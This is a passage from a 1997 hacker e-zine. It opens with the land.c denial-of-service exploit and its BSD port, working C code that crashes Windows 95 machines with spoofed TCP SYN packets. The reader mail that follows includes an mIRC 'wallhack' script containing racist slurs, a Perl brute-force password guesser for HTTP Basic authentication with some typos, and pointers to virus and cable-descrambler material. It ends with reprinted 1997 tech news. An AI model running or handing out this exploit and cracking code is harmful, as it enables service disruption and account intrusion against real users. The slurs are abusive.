tcphdr)); ipheder->id=htons(0xF1C); ipheder->ttl=255; ipheder->protocol=IP_TCP; ipheder->sddr=sin.sin_ddr.s_ddr; ipheder->dddr=sin.sin_ddr.s_ddr; tcpheder->th_sport=sin.sin_port; tcpheder->th_dport=sin.sin_port; tcpheder->th_seq=htonl(0xF1C); tcpheder->th_flgs=TH_SYN; tcpheder->th_off=sizeof(struct tcphdr)/4; tcpheder->th_win=htons(2048); bzero(&pseudoheder,12+sizeof(struct tcphdr)); pseudoheder.sddr.s_ddr=sin.sin_ddr.s_ddr; pseudoheder.dddr.s_ddr=sin.sin_ddr.s_ddr; pseudoheder.protocol=6; pseudoheder.length=htons(sizeof(struct tcphdr)); bcopy((chr *) tcpheder,(chr *) &pseudoheder.tcpheder,sizeof(struct tcphdr)); tcpheder->th_sum=checksum((u_short *) &pseudoheder,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockddr *) &sin,sizeof(struct sockddr_in))==-1) { fprintf(stderr,"couldn't send pcket\n"); return(-1); } fprintf(stderr,"%s:%s lnded\n",rgv[1],rgv[2]); close(sock); return(0); } land_bsd.c: This is a version of land.c ported to BSD by blast and jerm. /* land.c by m3lt, FLC crashes a win95 box Ported by blast and jerm to 44BSD*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* #include */ /* #include */ struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock,foo; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; fprintf(stderr,"land.c by m3lt mod by blast, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } foo=1; if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1) { fprintf(stderr,"couldn't set raw header on socket\n"); return(-1); } bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(0xF1C); ipheader->ip_ttl=255; ipheader->ip_p=IPPROTO_TCP; ipheader->ip_src=sin.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet,%d\n",errno); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The Mailroom Compiled by Scud-O -------------------------------------------------- [01] wallhack.mrc , f0k [02] How Do I Register? , Insents [03] Like, I, Like, Was Reading Something, Insents [04] Can You Subcribe Me?, Michael Desmond [05] Here Have Some Code I Ripped From 2600, d4nt3 [06] Can you make viruses? , Insents [07] Wicked Zine, DeSyNcHeD [08] I Wanna Make A Virus, Cause I'm Elite, Insents [09] SOOOOOOOOOOOOOOOOOOO Cool, matt [10] Teacher Wanted, d king [11] Make an HTML version of THTJ too, Isotop-x22 [12] 'The Big 'Freez' ', SNeitz8967 [13] Hacking Help, Ron [14] Hacking Help II, RiedAB [15] Problems Subcribing to THTJ, JoKeR [16] Hacking Help III, K'reanos [17] Subscribe, student [18] ICQ, Campbell -------------------------------------------------- [01]--- [ wallhack.mrc, f0k ] --- [ This is a simple 'wallhack' for mirc, send into us by f0k from SIN. Enjoy. ] ; In mIRC just Type: /Findlag ; Take the longest reply.... /whois the person and see what server they are on ; than type: /wallhack ; once the clone is loaded type (you will ; know the clone is loaded by watching yer status window) ; /dohack ; works ever 4 out of 5 times. ; -f0k of the Night- ; ; Second Release: Everything works 100% ; increased the rate of success by using mIRC's slow :loop ; to my advantage. Thanks Kalhed. alias findlag { join #funfactory | .timer 1 5 .ctcp #funfactory ping } alias wallhack { if ($1 != $null) { %wallhack = on | dns $1 | echo -a nOW lOADIN rAW cLONE!@#@! } | else { echo -a jEW fAGGOT, jEW mUS'N gIB mE a SERVER | echo -a eXAMPLE: /wallhack rockhill.sc.us.undernet.org } | } alias dohack { if ($1 != $null) && (%wallhak == on) { /.msg = $+ $me join $1 | .join $1 | .timer 1 3 .part $1 | .timer 1 4 /.msg = $+ $me part $1 | %loopy = 0 | :loop | inc %loopy 1 | if (%loopy == 400) { .timer 1 4 .join $1 | .timer 1 4 /.msg = $+ $me join $1 } | else { goto loop } | } | } on 1:chatclose:{ if ($nick == $me) { %wallhak = off } | } on 1:chatopen: { if ($nick == $me) { msg = $+ $me user X X X :NeGRO!iRC 'can yooh say nappy?' | msg = $+ $me nick NeGRO $+ $rand(1000,9999) } | } on 1:DNS: { if (%wallhack == on) { %wallhack = off | %wallhak = on | /raw -q privmsg $me :DCC CHAT chat $longip($raddress) 6665 $+  | echo -a Now connecting to Server... please wait } | else { /echo -a $nick ip address: $iaddress named address: $naddress resolved address: $raddress } | } on 1:CHAT:PING*: { set %Text $2 | set %Length $len($2) | set %Length %Length - 1 | msg = $+ $nick PONG $right(%Length,%Text) | unset %Text %Length } on 1:CHAT:*.*.*:{ if (%wallhak == on) { if ($2 == 001) { echo -s You can now type /dohack | echo -s Example: /dohack #opers_suck_my_nuts } | } | } [02]--- [ How Do I Register?, Insents ] --- From: Insents@aol.com Date: Sat, 1 Nov 1997 15:17:55 -0500 (EST) To: scud@thtj.com Subject: please read Upon reception of this form you will be granted privelege to read all issues of The Havoc Technical Journal. Until you have registered, you are not authorized to read this or any issues of THTJ. How do i register to read the THTJ issues? thanx Insents [ Register to read thtj? What the FUCK? thtj is free man, you dont have to register shit. Where did you find this shit? ] [03]--- [ Like, I, Like, Was Reading Something, Insents ] --- From: Insents@aol.com Date: Sat, 1 Nov 1997 15:23:19 -0500 (EST) To: scud@thtj.com Subject: Another thing i was reading one of the aritcles and at the end it had this big program looking thing with all these commands and things like that, what is that all about? Insents [ If you could be a *little* more detailed in your description of the article then maybe i could help you. I *dont* read minds. ] [04]--- [ Can You Subcribe Me?, Michael Desmond ] --- From: "Michael Desmond" To: Subject: hello my first time Date: Sun, 2 Nov 1997 08:40:21 -0500 X-MSMail-Priority: Normal X-Mailer: Microsoft Internet Mail 4.70.1161 i would like to subscribe my e-mail address is[[[[[ wickeddoom @aol.com]]]]]]] [ Subscribe yourself. Its *really* not that hard. Send a piece of e-mail to majordomo@terminus.orc.ca , leave the subject blank, and in the body of the message type 'subscribe you@yourisp.com' , with out the quotes. Enjoy. ] [05]--- [ Here Have Some Code I Ripped From 2600, d4nt3 ] --- From: "d4nt3" To: Subject: Web Wardialer Date: Sun, 2 Nov 1997 09:23:34 -0500 #!/usr/local/bin/perl # Web-Wardialer by d4nt3, d4nt3@hotmail.com push(@INCm "/usr/share/perl/"); require "/usr/share/perl/sys/socket.ph"; print "what username to try? : "; $username = ; chop $username; print "\nwhat inputfile to try? : "; $inputfile = ; chop $inputfile; print "\nwhat hostname to try? (hint try the IP Address, its faster) : "; $hostname = ; chop $hostname; print "\n\n"; $sockaddr = 'S n a4 x8'; $remote_host = "127.0.0.1"; $remote_port_number = 80; chop ( $hostname = 'hostname'); ($name, $aliases, $protocol) = getprotobyname ('tcp'); ($name, $aliases, $type, $length, $current_address) = gethostbyname($hostname); ($name, $aliases, $type, $length, $remote_address) = gethostbyname($remote_host); $current_port = pack($sockaddr, &AF_INET, 0, $current_address); $remote_port = pack($sockaddr, &AF_INET, $remotr_port_number, $remote_address); # mail loop ---- open (IN, "$inputfile"); while () { $thisguess = $_; chop $thisguess; $try_this = $username . ":" . $thisguess ; print "\n---trying [$try_this]"; grope(Base64encode($try_this)); } print "\n\ndone.\n"; sub grope{ $send_this=$_[0]; print "---sending encoded string: $send_this"; socket (CONNECTION, &PF_INET, &SOCK_STREAM, $protocol) || die "Cannot create socket.\n"; bind (CONNECTION, $remote_port) || die "Cannot bind socket.\n"; connect ( CONNECTION, $remote_port) || die "Cannot connect socket.\n"; select (CONNECTION); $| = 1; #print "$ARGV[0]" , "\n"; print "HEAD /secret HTTP/1.0\n"; print "User-Agent: BadGuys@thegate (Macintosh; I; 2600)\n" print "Authorization: Basic "; print $send_this; print "\n\n"; #print "quit", "\n"; select (STDOUT); while(){ if (/^HTTP\/1\.. /) { if (/^HTTP\/1\..(200|301|302|303|500)/) { print "\n****"; print; } if (/^HTTP\/1\..(401)/) { print "... access denied" } } } close CONNECTION; } sub Base64encode { my $res = ""; while ( $_[0] =~ /(.{1,45})/gs) { $res .= substr(pack('u', $1), 1); chop($res); } $res =~ tr| -_|A-Za-z0-9+/|; #fix padding at end my $padding = (3 - length($_[0]) % 3) % 3; $res =~ s/.{padding}$/'=' x $padding/e if $padding; $res; } sub Base64decode { local($^W) = 0; #unpack("u",...) gives bogus warning in 5.001m my $str = shift; my $res = ""; $str =~ tr|A-Za-z0-9+/||cd; # remove non base64 characters $str =~ tr|A-Za-z0-9+/| -_|; # convert to uuencoded format while($str =~ /(.{1,60})/gs) { my $len = chr(32 + length($1)*3/4); # compute length byte $res .= unpack("u", $len . $1); # uudecode } $res; } exit(0); [ Hmm, maybe its just me, but this code looks like something straight out of 2600. Does vol.14 no.2 ring any bells? does pages 42 and 43 ring a bell? They should, since they are the same thing. This is an obvious rip off of Ryan's article that begins on page 40 of 2600. Dont ever try this again 'd4nt3' you lame fuck. Dont steal others code and claim as yours. Thats not right. ] [06]--- [ Can you make viruses? , Insents ] --- From: Insents@aol.com Date: Sun, 2 Nov 1997 14:16:46 -0500 (EST) To: scud@thtj.com Subject: Re: Another thing Ok, plain and simple, can you make viruses? yes or no Insents [ yes. ] [07]--- [ Wicked Zine, DeSyNcHeD ] --- From: "CyBeRdEwD" To: Subject: Wicked Zine Date: Mon, 3 Nov 1997 18:04:29 +1300 X-MSMail-Priority: Normal X-Mailer: Microsoft Internet Mail 4.70.1155 Yo dewd, I have every issue available on the net and think it is great. Anywayz keep up the good work I really enjoy your IRC logs + Phonecall logs and have found yer zine really inspirational anywayz your link to www.antionline.com was useful I found it take me hours to find sites with good file areas but i just visited that and a few other links form your site and sound them all topz. C ya, DeSyNcHeD P.S. what is the latest on evilempire.org and g0d?????? [ We aim to please. Im glad you like antionline as well. evilempire.org is well, dead. Ive been too busy, and ive moved onto other things. Ive set up thtj.com, and might be setting up my own personal net soon, which was a goal of evilempire.org to me, so i doubt that evilempire.org will be out anytime soon. g0d, is well, also dead. Once again i havent had the time, and ive gotten bored with bot tinkering and irc scripting. If i ever get back into g0d i will let you know. ] [08]--- [ I Wanna Make A Virus, Cause I'm Elite, Insents ] --- From: Insents@aol.com Date: Mon, 3 Nov 1997 15:38:02 -0500 (EST) To: scud@thtj.com Subject: Re: Another thing Would you care to explain how a virus is made, or where i can find out, thanx Insents [ go search out for this information. it is not that hard to come by. Go find some old 40HEX's or something. search or 'virus' on yahoo or hotbot or someplace. ] [09]--- [ SOOOOOOOOOOOOOOOOOOO Cool, matt ] --- Date: Fri, 07 Nov 1997 14:59:24 -0500 From: matt X-Mailer: Mozilla 3.01Gold (Win95; I) To: scud@thtj.com Subject: cool you guys are soooooooooooooo cool thanks [ we aim to please. ] [10]--- [ Teacher Wanted, d king ] --- To: scud@thtj.com Date: Thu, 06 Nov 1997 09:32:38 -0700 From: "dave king" X-Sent-Mail: on X-Mailer: MailCity Service Subject: hacking X-Sender-Ip: 149.123.131.202 Organization: MailCity (http://www.mailcity.com) looking for a teacher or mentor any suggestions interested in learning the way of life d king Get your free and private web-based e-mail from our new partner at http://www.mailexcite.com [ sorry, i am too busy, but if anyone that is reading this wants to give d king a helping hand, go ahead. ] [11]--- [ Make an HTML version of THTJ too, Isotop-x22 ] --- Date: Sat, 8 Nov 1997 10:18:23 -0800 (PST) From: Isotop-x22 Subject: New format To: scud@thtj.com Hi scud I read your magazine and I think it is a really cool magazin. You get articles from different subjects like Unix, VMX etc... I have an idea to make this magazin a little bit better: How sound that: Two different versions, Ascii and HTML text with underlined headlines, local linx etc. I know that is a lot of work to format those big documents but it would make the magazine more comfortable to read. I would help out in formating ! Think about it ... Isotop-x22 [ It is a good idea, and i have thought about it, but i do not know if it would be a worthwhile idea. until issue 6 i made html versions of the zine, but it was alot of work, and i felt that i would rather put my time into producing 1 great zine instead of 2 average zines. ] __________________________________________________________________ Sent by Yahoo! Mail. Get your free e-mail at http://mail.yahoo.com [12]--- [ 'The Big 'Freez' ', SNeitz8967 ] --- From: SNeitz8967 Date: Tue, 4 Nov 1997 00:46:31 EST To: thtj@thtj.com Subject: hump... thought there Organization: AOL (http://www.aol.com) X-Mailer: Inet_Mail_Out (IMOv10) was hackers here, seem's there is nothing afet the big "Freez..", well gotta run, shurE miss the old one....... [ umm, if you say so. i dont know what you are smoking, but it must be some pretty good stuff. ] [13]--- [ Hacking Help, Ron ] --- From: "Ron" To: Subject: hacking Date: Mon, 10 Nov 1997 23:20:44 -0400 X-MSMail-Priority: Normal X-Mailer: Microsoft Internet Mail 4.70.1155 Could you please send me info on hacking. I'm a begginer so anything would help, My address is newfie29@hotmail.com [ I am sorry, but as I have said before I can not teach you or give you everything. A hacker must search for knowledge, that is what makes him a hacker. However, I have found a very good file for you beginners out there. it is by Invisible Evil and it is called the Hacking Kit v2.0.b March/97. As the Date shows, this is a very current file. It is also a large file, at around 530k or so. I will be adding this to thtj.com soon, (thtj.com/hackkit-2_0b.txt), but for right now you can find it at the bottom on rootshell.com. Happy reading. ] [14]--- [ Hacking Help II, RiedAB] --- From: ReidAB@pacbell.net Date: Tue, 11 Nov 1997 20:40:03 -0800 X-Mailer: Mozilla 3.0 (Win95; U) To: scud@thtj.com Subject: hacking Dear Scud 0, I enjoy hacking just as much as the next guy, but I like taking it past the computer and into the physical word. I have been searching the web for directions on how to make cable descramblers for cable tv. I know that you can build them with radio shack parts but, I haven't been able to find a site that gives you them for free. Do you know of a specific site or could you help me obtain these blue prints? Thanks, ReidAB@pacbell.net [ Ahem, it is Scud-O not Scud-0. Yes, that IS an o there. Anyway, no I myself do not have any cable descrambler information, but I think that l0pht.com has a few files on that information. Im not 100% sure, since I live in the middle of nowhere and am to deprived for cable, so I dont know a thing, or care at all on cable descramblers. ] [15]--- [ Problems Subscribing to THTJ, JoKeR ] --- Date: Wed, 12 Nov 1997 13:54:02 -0700 (MST) From: JoKeR To: scud@thtj.com Subject: .. Hello. I have tried all of your subscribe utilities, but none seem to be working. Can you please add me to your subscription list? Thanks BTW: Nice zine.. JoKeR [ JoKeR, yes terminus.orc.ca had some problems and the majordomo was lost. So all of our subscriber lists were erased, and the majordomo was killed, so you were not able to join. The cgi in thtj.com was also stored on terminus, so it was zapped as well. Hopefully by now, the domo is back up, so try it again. I hope it works. *** NOTE: EVERYONE on the thtj majordomo MUST resubscribe, the list was lost! mail majordomo@terminus.orc.ca !! *** And I am glad you like the zine, we aim to please. ] [16]--- [ Hacking Help III, K'reanos ] --- Date: Wed, 12 Nov 1997 19:00:10 -0600 From: "K'reanos Kurai" Organization: Rihannsu Star Empire X-Mailer: Mozilla 4.03 [en] (Win95; U) To: scud@thtj.com Subject: I want to learn how to become a hacker I am a beginner in the subject of hacking and would like to learn. I am not with any organization, just a college student wishing to learn about the world around him, and how to manipulate it. Please reply to this message. K'reanos RSE [ See mail number 13 for info on where to find hackkit, a great text for someone to learn on for basic UNIX hacking. I have been getting an awlful lot of requests for hacking help recently, and I am getting a wee bit tired by it. I might work on a beginning hacking text similar to hackkit, but with some new tools and stuff I have been thinking of and working on. I might even make this into a full blown web site, since I have a bunch of ideas for this. But in the mean time, read hackkit, because it is a very complete quide to hacking UNIX in the latter half of the 90s. ] [17]--- [ Subscribe, student ] --- Date: Mon, 10 Nov 1997 21:58:44 -0800 From: student X-Mailer: Mozilla 3.01 (Win16; I) To: thtj@thtj.com Subject: (no subject) subscribe thtj [ No, No, No! you are supposed to send this mail to majordomo@terminus.orc.ca, not to me. try again. ] [18]--- [ICQ, Campbell] --- Date: Sat, 22 Nov 1997 04:28:29 -0800 From: Andrew Campbell III X-Mailer: Mozilla 3.04Gold (Win95; I) To: scud@sinnerz.com Subject: icq I would like you to add me to your list as I am a beggining hacker, 3311363 [ sorry, but I do not use ICQ, nor do I intend to ever have it. ] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -------------- --=[The News]=-- Compiled & edited by KungFuFox -------------- 1 : Keeping the Pace in Net Security 2 : AOL Enlists Members In War On Spam 3 : Suspected Pentium Bug May Harm ISPs 4 : Cheap long distance calling comes to Net 5 : Microsoft Browser Takes On a New Flavor: Unix 6 : Hijacked Surfers Get Credit, Refunds 7 : Presidential Panel Issues Cyberattack Warning _____________________________________________________________ Keeping the Pace in Net Security by Gene Koprowski 3.Nov.97 -- Hackers love a challenge. Computer security experts do as well. And the cat-and-mouse game between these cyber rivals is attracting a lot of attention lately from the computer industry, which has responded by adding one layer after another to the security infrastructure. Firewalls, like those developed by Secure Computing and IBM, were once thought to be enough protection to ward off phreaks. But hackers became wise to their ways. Then proxy servers, offered by Microsoft Corp., and others, emerged. More recently, companies like 3Com have been promoting routers and virtual private networks (VPNs) as the security solution for corporate computers linked to the Internet. "There is a great deal of overlap occurring in the proxy server-firewall software security" market, observes Mike Friloux, IP product manager for Williams Network, a computer technology reseller. "It really depends on what you are trying to accomplish, what type of LAN/WAN interface, bandwidth requirements, and level of security required." Secure Computing, a networking security vendor, has created a multi-layered system to protect Internet-based communications with a firewall-cum-proxy server-cum-VPN. The VPN functionality is added to the servers of ISPs in the i-Pass alliance, a group of ISPs and telcos operating about 1,300 points of presence in 150 countries. Secure Computing is also incorporating software to make all the system's Web clients anonymous, just like a proxy server. The makers of the technology - called BorderWare Firewall Server 5.0 - also promise to place a link to the technology on their challenge Web site, and issue a dare to would-be phreaks to hack into the system. "We've had 9,000 hackers try to break into our site" in the past, boasts Christine Hughes, vice president of marketing at Secure Computing. "We're reinitiating that site." Cynics say that proxy servers are just another name for firewalls, coined by companies like Microsoft to create a market for their own security software. To be sure, there are striking similarities. The proxy software is installed on a server, and it allows internal corporate users access to the Internet, and authenticates the passwords of those Web surfers trying to get into the network from outside connections. But, they do have one unique feature that not all firewalls boast: every proxy client can remain anonymous while surfing the Web. VPNs, meanwhile, let any valid remote user become part of a corporate central network, using the same network scheme and addressing as users inside the network. Each company's central network can also be responsible for validating their own users, despite the fact that they are actually dialing into a public network. The new Secure technology was developed around a "hardened" Unix operating system, called Berkeley Systems Development. Users do not have to load an operating system on a firewall server, and then add a layer of firewall application software. Rather, they are combined into one unit, says Andrew Stevens, product manager at Secure Computing. This is the first deal the alliance has signed with a firewall developer, and the product is targeted at companies that want to secure their telecommuting links. "We've got a dynamic virtual private network as well. When dialing up an ISP, you can set up an encrypted tunnel from that IP address back to your corporate network. And that works in conjunction with the i-Pass remote access server that we have incorporated into the server as well," says Stevens. iPass enables local-call access to the Internet and corporate networks from every major business capital in the world. Secure thinks the deal with i-Pass is significant, for a recent Forrester Group report showed that 64 percent of IT managers did not plan to allow remote access into their LANs. Of those, 46 percent cited security as their main concern. Stevens claims that Secure's technology allows not only secure access from remote clients, but also gives companies the added benefit of saving as much as 60 percent in long-distance charges because dial-ins would be from local numbers. What does the industry think of the technology offering? Will Secure have a huge edge on the competition? Not for long. IBM, in fact, is testing its firewall technology for virtual private network features at the National Computer Security Association. "I liken this to the mini-van marketplace: You can build a mini-van off of a truck body, or off of an automobile body and call it whatever you want to," says Roger Rea, firewall product marketing manager at IBM. What happens next? Security stratification. Proxy servers and others will continue to "eat away at the lower end of the market," supplying smaller businesses, while the more advanced offerings are targeted at larger enterprises, says Patrick Taylor, director of product marketing at Internet Securities Systems Inc. (c)1993-97 Wired Ventures, Inc. _____________________________________________________________ AOL Enlists Members In War On Spam 10/29/97 By John Borland, Net Insider Saying it cannot fight the spammers alone, America Online has enlisted its members in its effort to stop junk E-mail. With a subscriber base reaching 9 million members, many of them relatively unsophisticated in their online use, the service has long been a spammers paradise. Now, in addition to legal action against the spammers, the company has begun educating its members to join the fight. "We now are doing everything we can to block as much junk E-mail as possible at our mail system gateways before it even reaches our members," wrote company president Steve Case in a message to members conceding that the company's filters have proved permeable to E-mail advertisers. "Yet the increasing volume and the deceptive practices of junk E-mailers have enabled them to slip unsolicited bulk E-mail through AOL's current junk mail safety net. ... The bottom line is, we can't fight this problem without you." The company added a new "junk E-mail" section to the service, designed to educate members about the problem and let them easily report messages to system administrators. The company also introduced E-mail filtering controls that will let members themselves block incoming mail messages from specified addresses or domains, or allow only messages from preapproved addresses. Bringing members directly into the fray is the latest move in AOL's recently stepped-up campaign against bulk mail. The Dulles, Va.-based company filed two lawsuits this month against companies that send large volumes of unsolicited E-mail to AOL members. The first suit targeted Over the Air Equipment, which was allegedly advertising online stripping sites. The second, Prime Data Systems, was offering get-rich-quick schemes and bulk mailing software designed to break though AOL filters. Case also said the company was pursuing "sensible" anti-spam legislation. Three bills have been introduced in Congress to curb or regulate the practice of unsolicited commercial E-mailing. "We'll ask the courts to protect members against unsolicited Ee-mail, and we'll work to help craft sensible government legislation," Case wrote to members. But, he added, "To most effectively fight junk E-mail, we need your help." (c)CMP Media, 1997. _____________________________________________________________ Suspected Pentium Bug May Harm ISPs by James Glave 7.Nov.97. -- A possible new Pentium bug, reports of which surfaced this morning on the BugTraq security mailing list, may leave Pentium-based networked computer systems - especially Internet service providers - vulnerable to system attack. The bug is essentially four lines of machine code - "F0 0F C7 C8" - and reportedly causes most Pentium-based machines to crash. Posters to the list claim that Pentium Pro and Pentium 2 processors are not affected. The bug does not appear to be a threat to home users running Windows 95. However, it could well represent a danger in protected office environments or on public Web servers by malicious ISP account holders running CGI scripts on their Web pages. Most smaller ISPs running Pentium servers may be vulnerable. Larger ISPs, such as Netcom, generally do not allow CGI programs to be run by end users and thus should not be harmed by the bug. "If someone just has FTP access to an account and they can put programs up and execute them as CGI programs on a Web server, you can put this program up," said Stefan Hudson, senior network administrator at Monterey Bay Internet. "All it needs to do is run and it takes down the whole machine." "Many ISPs use Pentium servers running Linux to serve Web pages. The bug applies to just about every Pentium platform, but it really only affects people that are running computers where you would have people running code on a computer that aren't really trusted," said Hudson. "In an ISP situation, you could have Joe from anywhere. If they get pissed off at you, they are going to do whatever they can," said Hudson. "This bug looks far worse that FPIV [Pentium's notorious floating point bug of some years ago]" said Sam Trenholme, a developer on the BugTraq list. "Intel will probably be forced to undergo an expensive recall." Intel said this afternoon that its engineers were examining the bug. "About noon today we became aware of some postings on a newsgroup that there is certain illegal code that, when run through a Pentium, allegedly crashed the processor," said Intel spokesman Bill Miller. "That's all we know. We take any and all sightings very seriously. Currently there is a team studying this sighting to see if there is any reality to it. These are complex. We want to understand if there is indeed an issue." (c)1993-97 Wired Ventures, Inc. _____________________________________________________________ Cheap long distance calling comes to Net November 8, 1997 Bank Technology News, October 1997 Sending audio over the Internet could become a very inexpensive alternative to traditional long distance calls. Callers need only pay for the connection to their Internet service provider, which usually amounts to the cost of a local call. A modest investment in a piece of software or a service will then let users piggyback voice over the Internet connection. While this type of low-cost long distance calling is not yet spontaneous nor real-time, it is in the offing. Each company hawking such a solution has a different flavor. Toronto-based Northern Telecom (Nortel) offers voice messaging over the Internet with a product called Net Gateway. Users do not enjoy a real-time, two-way conversation, but volley voice messages back and forth. The messages can be sent over any type of network, be it an IP (Internet protocol) or LAN (local area network). Essentially, Nortel's PC software-based product links voice mail systems over a network. For this to work, users also need to use Nortel's Meridian Mail, a voice-mail service. From there, one installation of Net Gateway can connect up to 500 voice messaging nodes. Nortel's Lynn Myers, senior manager of industry marketing, sees a vast market for Internet messaging, flowing out of the home banking craze. "A lot of banks are offering PC banking, and some are starting to use push technology. In the future, the banks will realize that it's an opportunity to extend cross selling messages to customers," she says. "As they start doing that, they will realize they have an opportunity to send messages via voice, which is much more personal." Nortel's Internet messaging capability sells for $3,000, and Meridian Mail costs at least another $3,000.Copyright 1997 Faulkner & Gray Inc. _____________________________________________________________ Microsoft Browser Takes On a New Flavor: Unix by Chris Jones 5.Nov.97.PST -- Microsoft is forging new ground today with its first release of a Unix-based browser - Internet Explorer 4.0 for the Sun Solaris platform, preview 1.0. From a features standpoint, the Unix version of IE 4.0 will support dynamic HTML, scripting, Java, Microsoft's component object model, and nearly everything that the Windows version contains, including Active Desktop channels. Although the Unix browser will not support the desktop integration features for which Microsoft has recently drawn the wrath of the Justice Department, it will have the "look and feel" of Unix, and can be integrated with Unix-based email programs. To be posted on the Microsoft site today, the new Unix browser is just an early implementation, and primarily intended for developers and network managers - definitely not for the faint of heart. The final version will be available in Q1 of 1998. "This is the first Unix app Microsoft has put together for some time," said David Fester, group product manager at Microsoft. "Corporations that want to standardize on IE need a Unix version." The second preview release of IE 4.0 for Windows 3.1 users will also be posted to the Microsoft site today, and finalized versions of the remaining Unix versions - for HP, IBM, and SGI Unix flavors - will be rolled out over the course of 1998. A final Mac version is due by the end of this year. (c)1993-97 Wired Ventures, Inc. _____________________________________________________________ Hijacked Surfers Get Credit, Refunds 11/04/97 By David Braun, TechWeb WASHINGTON -- More than 38,000 consumers will get credits or refunds totaling $2.74 million for telephone charges they unknowingly incurred when their computer modems were reportedly hijacked and routed to expensive international numbers, the Federal Trade Commission announced Tuesday. The FTC won a court order in February shutting down what it said was a sophisticated Internet scam that siphoned off hundreds of thousands of dollars from unsuspecting consumers who were secretly switched to an international long-distance phone call. The FTC said the consumers were duped after being lured to a Website promising free pornography without paying membership fees or expensive 900-number charges. Copies of the settlements and complaints are available from the FTC's Website. The consumers were told that to view the adult content, they needed to download a special viewing software program, david.exe, which actually disconnected them from their Internet service provider, turned off the modem speakers, and connected them to an Internet service provider with a phone number in Moldova at a charge of more than $2 per minute, the FTC said in February. Consumers who were surfing the Internet stopped to visit one of the Websites for "free" computer images -- including sites named www.beavisbutthead.com, www.sexygirls.com, www.1adult.com, and www.erotic2000.com. From there, they were surreptitiously disconnected from the local telephone number of their chosen Internet service provider and reconnected via phone numbers that terminated in Canada, even though they received telephone bills for higher priced Moldovan calls, the FTC said. In its announcement Tuesday, the FTC said the refunds were included in settlements reached with several companies and individuals charged with running the Internet scam. The proposed settlements would require the defendants to redress consumer victims by paying funds to AT&T and MCI, which will issue credits to their customers who were billed for the Moldovan calls. The defendants will also make payments to the FTC, which will issue refunds to customers of other long-distance carriers who were billed for the calls. (c) CMP Media, 1997. _____________________________________________________________ Presidential Panel Issues Cyberattack Warning 11/06/97 By John Borland, Net Insider [What the hell does 'Net Insider' mean?] Forget fertilizer bombs and dynamite. Terrorists can now use the Internet. The United States is vulnerable to new kinds of cyberattacks that could play havoc with national power grids or telecommunications lines, according to the final report released Wednesday from the President's Commission on Critical Infrastructure Protection. "Potentially serious cyber attacks can be conceived and planned without detectable logistic preparation," says the commission's report, which studied threats to critical national infrastructures. "A personal computer and a simple telephone connection to an Internet Service Provider anywhere in the world are enough to cause a great deal of harm." "They can be invisibly reconnoitered, clandestinely rehearsed, and then mounted in a matter of minutes or even seconds without revealing the identity of the attacker," the report says. "We are quite convinced that our vulnerabilities are increasing steadily while the costs associated with an effective attack continue to drop." As power stations, telecommunications networks, and the Internet become increasingly linked, terrorists could cripple large sectors of the economy by attacking a single critical point in the Net, the report says. "Today, the right command sent over a network to a power generating station's control computer could be just as effective as a backpack full of explosives," the report says. "While we do not believe a debilitating attack is imminent, the threats to our nation and the vulnerabilities in our infrastructures are real. ... The investments required to improve the situation are still relatively modest, but will rise if we procrastinate." The report makes recommendations for a broad campaign of protection, several of which were protested by civil libertarian groups. One section calls for the implementation of an encryption key management system, which would allow government access to a repository of private citizens' encryption keys in the case of a suspected crime. This kind of key escrow system has been blasted by privacy advocates and encryption experts, who have 